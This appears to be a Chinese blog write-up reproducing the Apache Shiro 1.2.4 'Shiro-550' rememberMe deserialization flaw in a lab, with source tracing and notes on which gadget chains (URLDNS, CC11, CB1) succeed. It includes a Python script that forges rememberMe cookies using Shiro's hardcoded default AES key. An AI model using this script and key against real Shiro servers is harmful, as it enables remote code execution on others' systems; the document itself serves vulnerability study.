shiro550 分析复现
shiro是java中用来处理鉴权问题的组件,提供了快捷的用户鉴权认证功能.在shrio版本低于1.2.24的时候存在shiro550漏洞,我们clone一个P牛的项目去进行实验测试.实验环境为java8u65
看一下项目添加的依赖:
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>
</dependencies>
shiro550漏洞成因
我们在用户登录的时候去勾选rememberMe选项,发送服务端给我们设置了一个特别长的Cookie.

这种东西一眼就不正常.而实际上,shiro550漏洞也正是因为这个rememberMe产生的.当我们发送这个rememberMe以后,shiro会对这个字段进行AES解码,然后去进行反序列化.这就有可能导致反序列化漏洞.在shiro550版本以下,这个AES的key是硬编码在代码中的,因此可以被直接破解,去伪造cookie进行反序列化攻击.
下面是具体的解释.
CookieRememberMeManager
全局搜Cookie,找到一个名字像是相关功能的类.我们来看他的getRememberedSerializedIdentity方法.
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
} else {
WebSubjectContext wsc = (WebSubjectContext)subjectContext;
if (this.isIdentityRemoved(wsc)) {
return null;
} else {
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response);
if ("deleteMe".equals(base64)) {
return null;
} else if (base64 != null) {
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
return null;
}
}
}
}
大概可以看到,这个方法大体的功能是对Cookie中的rememberMe字段进行base64解密.那么一定是有什么方法调用了这个方法来进行的.我们去查看这个类继承的抽象类.
AbstractRememberMeManager
在这个类中,getRememberedSerializedIdentity是一个抽象方法,查找发现这个抽象方法在getRememberedPrincipals被调用.
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = this.convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException var4) {
RuntimeException re = var4;
principals = this.onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
在这个方法中调用了convertBytesToPrincipals方法,跟过去看看.
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}
return this.deserialize(bytes);
}
其中就调用了decrypt方法和deserialize方法.剩下的就是去分析crypt方法给出的加密方式,这个就没去分析.
网上找了个python脚本,去对序列化的结果进行aes加密并base64编码.
from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == "__main__":
data = get_file_data("cc1.bin")
print(aes_enc(data))
漏洞利用
urldns链
既然有反序列化漏洞,那么首先必然是能打URLDNS链的.测了一下,确实是能打通.
cc链
接下来看cc链,由于存在commons-collections3.2.1,因此认为理论上是可以打通所有版本的cc链的,然而实际上发现存在问题.
跟随异常处断点来到ClassResolvingObjectInputStream类的resolveClass方法.
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
UnknownClassException e = var3;
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
ClassResolvingObjectInputStream类继承自ObjectInputStream类,并且重写了resolveClass方法.来看一下ObjectInputSream类的resolveClass方法.
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
可以看到这里是使用Class.forName去获取Class对象的.而在ClassResolvingObjectInputStream中使用ClassUtils.forName去获取Class对象,这个方法传入的参数不能是数组,因此我们如果传入了Transformer数组会出现报错.
解决方式:使用cc11链打.测试发现可以正常的打通.

cb链
有commons-beanutils的1.8.3的依赖,显然是可以打通的.那么加入我们删去这个依赖还能打通吗,经过测试发现还是成功打通了,这就很有意思.

一看依赖发现了问题,原来是shiro中自己引入了commons-beanutils的1.8.3的依赖.

因此只要是1.2.24版本以下的shiro,都是可以直接用cb1打通的.

浙公网安备 33010602011771号